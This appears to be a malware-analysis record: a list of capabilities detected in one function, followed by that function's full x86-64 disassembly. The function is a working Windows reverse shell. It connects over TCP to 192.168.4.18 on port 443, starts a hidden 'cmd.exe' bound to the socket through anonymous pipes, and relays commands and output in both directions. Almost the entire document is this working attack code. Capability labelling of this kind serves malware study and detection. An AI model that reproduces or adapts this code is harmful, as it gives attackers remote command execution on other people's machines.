Function at 0x401560
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create tcp socket
Create two anonymous pipes
Create udp socket
Download and write a file
Initialize winsock library
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push rbp
sub rsp, 0x6f0
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x4d0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x4015b2
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rcx, str.WSAStartup_failed._Error_Code_:__d_n
call sym.printf
mov eax, 1
jmp 0x401a87
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x668], rax
cmp qword [rbp + 0x668], 0xffffffffffffffff
jne 0x401606
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rcx, str.Could_not_create_socket_:__d_n
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401a87
lea rax, [rbp + 0x4c0]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x4c0], 2
mov ecx, 0x1bb
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x4c2], ax
lea rcx, str.192.168.4.18
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x4c4], eax
lea rdx, [rbp + 0x4c0]
mov rax, qword [rbp + 0x668]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jns 0x4016b5
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rcx, str.Connect_error_:__d_n
call sym.printf
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401a87
mov dword [rbp - 0x10], 0x18
mov qword [rbp - 8], 0
mov dword [rbp], 1
lea rcx, [rbp - 0x10]
lea rdx, [rbp + 0x4b0]
lea rax, [rbp + 0x4b8]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
jne 0x401733
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.CreatePipe_failed._Error_Code_:__d_n
call sym.printf
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401a87
lea rcx, [rbp - 0x10]
lea rdx, [rbp + 0x4a0]
lea rax, [rbp + 0x4a8]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
jne 0x40179b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.CreatePipe_failed._Error_Code_:__d_n
call sym.printf
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401a87
lea rax, [rbp + 0x410]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x410], 0x68
mov dword [rbp + 0x44c], 0x101
mov rax, qword [rbp + 0x4b8]
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0x470], rax
mov word [rbp + 0x450], 0
movabs rax, 0x206578652e646d63
movabs rdx, 0x747261747320632f
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov dword [rbp - 0x20], 0x622f20
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x480]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x410]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x4018e1
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.CreateProcess_failed_:__d_n
call sym.printf
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x4b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401a87
mov rax, qword [rbp + 0x4b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x668]
mov r9d, 0
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0xc], eax
mov eax, dword [rbp + 0xc]
test eax, eax
je 0x401a19
mov eax, dword [rbp + 0xc]
mov eax, eax
mov byte [rbp + rax + 0x10], 0
mov ecx, dword [rbp + 0xc]
mov rax, qword [rbp + 0x4b0]
lea r8, [rbp + 8]
lea rdx, [rbp + 0x10]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x4a8]
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0xc]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
call rax
test eax, eax
je 0x401907
mov eax, dword [rbp + 0xc]
test eax, eax
je 0x401907
mov rax, qword [rbp + 0x4a8]
lea rcx, [rbp + 0xc]
lea rdx, [rbp + 0x10]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov eax, dword [rbp + 0xc]
mov eax, eax
mov byte [rbp + rax + 0x10], 0
mov eax, dword [rbp + 0xc]
mov ecx, eax
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x668]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x401907
nop
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x4b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x6f0
pop rbp
ret